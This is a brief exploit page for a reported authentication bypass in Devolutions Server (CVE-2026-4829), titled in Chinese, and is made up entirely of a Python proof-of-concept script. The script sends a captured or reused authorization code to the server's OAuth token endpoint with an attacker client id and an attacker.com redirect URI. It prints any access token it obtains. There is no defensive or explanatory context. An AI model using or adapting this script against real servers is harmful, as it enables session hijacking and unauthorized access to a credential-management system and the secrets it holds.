CVE-2026-4829 Devolutions Server认证绕过漏洞

import requests # Target URL for token endpoint target_url = "https://<devolutions-server>/oauth/token" # The session code captured or reused from an external auth flow reused_session_code = "CAPTURED_AUTHORIZATION_CODE" # Payload to exploit the improper authentication payload = { "grant_type": "authorization_code", "code": reused_session_code, "client_id": "attacker_client_id", "redirect_uri": "https://attacker.com/callback" } try: # Send the request to exchange the code for an access token response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Access Token: " + response.json().get("access_token")) else: print("[-] Exploit Failed. Status Code: " + str(response.status_code)) print(response.text) except Exception as e: print("Error: " + str(e))